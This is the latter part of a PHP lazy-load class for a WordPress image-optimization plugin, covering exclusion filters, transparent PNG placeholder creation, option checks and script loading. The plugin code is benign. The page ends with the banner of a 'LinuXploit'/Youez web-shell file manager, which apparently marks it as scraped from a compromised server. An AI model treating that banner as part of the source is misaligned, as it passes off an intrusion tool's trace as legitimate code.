			if ( strpos( $image, 'data-pin-description=' ) && strpos( $image, 'width="0" height="0"' ) ) {
				return false;
			}

			// Ignore native lazy loading images.
			$loading_attr = $this->get_attribute( $image, 'loading' );
			if ( $loading_attr && in_array( trim( $loading_attr ), array( 'auto', 'eager', 'lazy' ), true ) ) {
				return false;
			}

			$exclusions = apply_filters(
				'eio_lazy_exclusions',
				array(
					'class="ls-bg',
					'class="ls-l',
					'class="rev-slidebg',
					'data-bgposition=',
					'data-envira-src=',
					'data-lazy=',
					'data-lazy-original=',
					'data-lazy-src=',
					'data-lazy-srcset=',
					'data-lazyload=',
					'data-lazysrc=',
					'data-no-lazy=',
					'data-src=',
					'data-srcset=',
					'ewww_webp_lazy_load',
					'fullurl=',
					'gazette-featured-content-thumbnail',
					'lazy-slider-img=',
					'mgl-lazy',
					'skip-lazy',
					'timthumb.php?',
					'wpcf7_captcha/',
				),
				$image
			);
			foreach ( $exclusions as $exclusion ) {
				if ( false !== strpos( $image, $exclusion ) ) {
					return false;
				}
			}
			return true;
		}

		/**
		 * Checks if a tag with a background image is allowed to be lazy loaded.
		 *
		 * @param string $tag The tag.
		 * @return bool True if the tag is allowed, false otherwise.
		 */
		function validate_bgimage_tag( $tag ) {
			$this->debug_message( '<b>' . __METHOD__ . '()</b>' );
			$exclusions = apply_filters(
				'eio_lazy_bg_image_exclusions',
				array(
					'data-no-lazy=',
					'header-gallery-wrapper ',
					'lazyload',
					'skip-lazy',
					'avia-bg-style-fixed',
				),
				$tag
			);
			foreach ( $exclusions as $exclusion ) {
				if ( false !== strpos( $tag, $exclusion ) ) {
					return false;
				}
			}
			return true;
		}

		/**
		 * Build a PNG inline image placeholder.
		 *
		 * @param int $width The width of the placeholder image.
		 * @param int $height The height of the placeholder image.
		 * @return string The PNG placeholder link.
		 */
		function create_piip( $width = 1, $height = 1 ) {
			$width  = (int) $width;
			$height = (int) $height;
			if ( ( 1 === $width && 1 === $height ) || ! $width || ! $height ) {
				return $this->placeholder_src;
			}

			if ( $width > 1920 ) {
				$ratio  = $height / $width;
				$width  = 1920;
				$height = round( 1920 * $ratio );
			}
			$height = min( $height, 1920 );

			$piip_path = $this->piip_folder . 'placeholder-' . $width . 'x' . $height . '.png';
			if ( $this->parsing_exactdn ) {
				global $exactdn;
				return $exactdn->generate_url( $this->content_url . 'lazy/placeholder-' . $width . 'x' . $height . '.png' );
			} elseif ( ! is_file( $piip_path ) ) {
				$img   = imagecreatetruecolor( $width, $height );
				$color = imagecolorallocatealpha( $img, 0, 0, 0, 127 );
				imagefill( $img, 0, 0, $color );
				imagesavealpha( $img, true );
				imagecolortransparent( $img, imagecolorat( $img, 0, 0 ) );
				imagetruecolortopalette( $img, false, 1 );
				imagepng( $img, $piip_path, 9 );
			}
			if ( is_file( $piip_path ) ) {
				return $this->content_url . 'lazy/placeholder-' . $width . 'x' . $height . '.png';
			}
			return $this->placeholder_src;
		}
		/**
		 * Allow lazy loading of images for some admin-ajax requests.
		 *
		 * @param bool $allow Will normally be false, unless already modified by another function.
		 * @return bool True if it's an allowable admin-ajax request, false for all other admin requests.
		 */
		function allow_admin_lazyload( $allow ) {
			if ( ! wp_doing_ajax() ) {
				return $allow;
			}
			if ( ! empty( $_POST['action'] ) && 'vc_get_vc_grid_data' === $_POST['action'] ) {
				$this->debug_message( 'allowing lazy on vc grid' );
				return true;
			}
			if ( ! empty( $_POST['action'] ) && 'Essential_Grid_Front_request_ajax' === $_POST['action'] ) {
				/* return true; */
			}
			return $allow;
		}

		/**
		 * Check if LQIP should be used, but allow filters to alter the option.
		 *
		 * @param bool $use_lqip Whether LL should use low-quality image placeholders.
		 * @return bool True to use LQIP, false to skip them.
		 */
		function maybe_lqip( $use_lqip ) {
			if ( defined( 'EWWW_IMAGE_OPTIMIZER_USE_LQIP' ) && ! EWWW_IMAGE_OPTIMIZER_USE_LQIP ) {
				return false;
			}
			if ( defined( 'EASYIO_USE_LQIP' ) && ! EASYIO_USE_LQIP ) {
				return false;
			}
			return $use_lqip;
		}

		/**
		 * Check if PIIP should be used, but allow filters to alter the option.
		 *
		 * @param bool $use_piip Whether LL should use PNG inline image placeholders.
		 * @return bool True to use PIIP, false to skip them.
		 */
		function maybe_piip( $use_piip ) {
			if ( defined( 'EWWW_IMAGE_OPTIMIZER_USE_PIIP' ) && ! EWWW_IMAGE_OPTIMIZER_USE_PIIP ) {
				return false;
			}
			if ( defined( 'EASYIO_USE_PIIP' ) && ! EASYIO_USE_PIIP ) {
				return false;
			}
			return $use_piip;
		}

		/**
		 * Check if SIIP should be used, but allow filters to alter the option.
		 *
		 * @param bool $use_siip Whether LL should use SVG inline image placeholders.
		 * @return bool True to use SIIP, false to skip them.
		 */
		function maybe_siip( $use_siip ) {
			if ( defined( 'EWWW_IMAGE_OPTIMIZER_USE_SIIP' ) && ! EWWW_IMAGE_OPTIMIZER_USE_SIIP ) {
				return false;
			}
			if ( defined( 'EASYIO_USE_SIIP' ) && ! EASYIO_USE_SIIP ) {
				return false;
			}
			return $use_siip;
		}

		/**
		 * Adds a small CSS block to hide lazyload elements for no-JS browsers.
		 */
		function no_js_css() {
			echo '<noscript><style>.lazyload[data-src]{display:none !important;}</style></noscript>';
		}

		/**
		 * Load full lazysizes script when SCRIPT_DEBUG is enabled.
		 */
		function debug_script() {
			$this->debug_message( '<b>' . __METHOD__ . '()</b>' );
			if ( $this->is_amp() ) {
				return;
			}
			$plugin_file = constant( strtoupper( $this->prefix ) . 'PLUGIN_FILE' );
			wp_enqueue_script( 'eio-lazy-load-pre', plugins_url( '/includes/lazysizes-pre.js', $plugin_file ), array(), $this->version );
			wp_enqueue_script( 'eio-lazy-load', plugins_url( '/includes/lazysizes.js', $plugin_file ), array(), $this->version );
			wp_enqueue_script( 'eio-lazy-load-post', plugins_url( '/includes/lazysizes-post.js', $plugin_file ), array(), $this->version );
			wp_enqueue_script( 'eio-lazy-load-uvh', plugins_url( '/includes/ls.unveilhooks.js', $plugin_file ), array(), $this->version );
			if ( defined( strtoupper( $this->prefix ) . 'LAZY_PRINT' ) && constant( strtoupper( $this->prefix ) . 'LAZY_PRINT' ) ) {
				wp_enqueue_script( 'eio-lazy-load-print', plugins_url( '/includes/ls.print.js', $plugin_file ), array(), $this->version );
			}
			wp_localize_script(
				'eio-lazy-load',
				'eio_lazy_vars',
				array(
					'exactdn_domain' => ( $this->parsing_exactdn ? $this->exactdn_domain : '' ),
				)
			);
		}

		/**
		 * Load minified lazysizes script.
		 */
		function min_script() {
			$this->debug_message( '<b>' . __METHOD__ . '()</b>' );
			if ( $this->is_amp() ) {
				return;
			}
			$plugin_file = constant( strtoupper( $this->prefix ) . 'PLUGIN_FILE' );
			wp_enqueue_script( 'eio-lazy-load', plugins_url( '/includes/lazysizes.min.js', $plugin_file ), array(), $this->version );
			if ( defined( strtoupper( $this->prefix ) . 'LAZY_PRINT' ) && constant( strtoupper( $this->prefix ) . 'LAZY_PRINT' ) ) {
				wp_enqueue_script( 'eio-lazy-load-print', plugins_url( '/includes/ls.print.min.js', $plugin_file ), array(), $this->version );
			}
			wp_localize_script(
				'eio-lazy-load',
				'eio_lazy_vars',
				array(
					'exactdn_domain' => ( $this->parsing_exactdn ? $this->exactdn_domain : '' ),
				)
			);
		}
	}

	global $eio_lazy_load;
	$eio_lazy_load = new EIO_Lazy_Load();
}

Youez - 2016 - github.com/yon3zu
LinuXploit